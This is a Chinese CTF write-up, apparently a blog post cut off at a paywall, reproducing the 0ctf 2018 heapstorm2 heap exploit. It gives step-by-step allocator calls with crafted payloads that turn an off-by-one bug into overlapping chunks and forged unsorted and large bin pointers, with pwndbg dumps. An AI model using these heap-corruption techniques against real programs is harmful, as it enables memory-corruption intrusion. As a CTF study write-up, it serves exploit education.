0ctf2018_heapstorm2_reproduce
概述
打了好久,学到很多
保护全开,libc-2.24
漏洞点在 off-by-one,打法是利用 off-by-one 缩小 chunk 进行 unlink 然后就可以实现类似 uaf 的 overlap,是 unlink 的一部分,又是还能用的这种 overlap
有了 overlap 就能实现 house of storm,也就是同时伪造 large_bin 的 bk_nextsize 和 bk 与 unsorted_bin 的 bk,实现可写内存的任意申请
过程
overlap chunk
先利用 off-by-one 实现缩小 chunk,再 unlink 然后就可以实现类似 uaf 的 overlap
要进行两次,一次为了 large_bin 的伪造,一次为了 unsorted_bin 的伪造
第一次 overlap chunk
先进行布局
create(0x18)# 0
create(0x508)# 1
create(0x18)# 2
create(0x18)# 3
create(0x508)# 4
create(0x18)# 5
create(0x18)# 防止 5 进 top
然后伪造 prve_size,伪造 size
edit(1,0x4f0*b'a'+p64(0x500))# 伪造 prve_size 为 0x500
delete(1)# 被覆盖的 prev_size 恢复
edit(0,(0x18-12)*b'a')# off-by-one 伪造 size 为 0x500

创建一个 0x20 的块,再创建一个 0x4d8 块为后面 overlap 改写其他块内容做准备
# 2 overlap 7,通过 7 能改 2
create(0x18)# 1
create(0x4d8)# 7 uaf overlap
然后进行 unlink,unlink 前要 free 一下 chunk1
delete(1)# 使 prev_size 为 0x20,不然报 corrupted size vs. prev_size
delete(2)# unlink

这时候就可以 overlap 了
create(0x38)# 1
create(0x4e0)# 2 0x4f0 unsorted
可以看到,用 7 可以控制 2,我们后面把 2 放进 unsorted,然后就可以用 7 去改写内容了
pwndbg> x/200xg 0x558c3e47b020
0x558c3e47b020: 0x49495f4d524f5453 0x0000000000000041 <---1
0x558c3e47b030: 0x0000000000000000 0x0000000000000000
0x558c3e47b040: 0x0000000000000000 0x0000000000000000 <---7
0x558c3e47b050: 0x0000000000000000 0x0000000000000000
0x558c3e47b060: 0x0000000000000000 0x00000000000004f1 <---2
改了了 unsorted 还需要改写 large
重复一遍上面过程就行,不过 large_bin 应该要 小于 unsorted_bin,这样方便实现漏洞利用
# ? overlap 8,通过 8 能改 free块
edit(4,0x4f0*b'a'+p64(0x500))
delete(4)# 被覆盖的 prev_size 恢复
edit(3,(0x18-12)*b'a')
create(0x18)# 4
create(0x4d8)# 8 uaf overlap
delete(4)
delete(5)# unlink
create(0x48)# 4
# 0x4e0 large
放入 large_bin 和 unsorted_bin
这时候就会有一个 0x4e0 的 chunk 在 unsorted 里面,我们要让 0x4f0 的进 unsorted,让0x4e0的进 large
# 放入 large_bin 和 unsorted_bin
delete(2)
create(0x4e0)# 2
delete(2)
第一次 delete(2) 后

可以看到两个 chunk 都进了 unsorted
create(0x4e0) 后,因为 unsorted 是 FIFO 的规则,会先遍历 0x4e0 的块,发现不是精确大小,就放入了 large_bin,而之后遍历 0x4f0 的块,发现符合条件,就直接返回给用户了,然后我们再 delete(2) ,0x4f0 的块就进了 unsorted 了,我们的目的就实现了


这篇文章详细介绍了ctf2018 Heapstorm2挑战中的heap溢出漏洞利用过程,涉及off-by-one攻击、chunk overlap利用、large_bin和unsorted_bin的伪造,最终实现内存控制并获取shell。作者通过实例演示了如何构造payload,以及mallopt函数和/dev/urandom在攻破中的作用。
最低0.47元/天 解锁文章
1126

被折叠的 条评论
为什么被折叠?



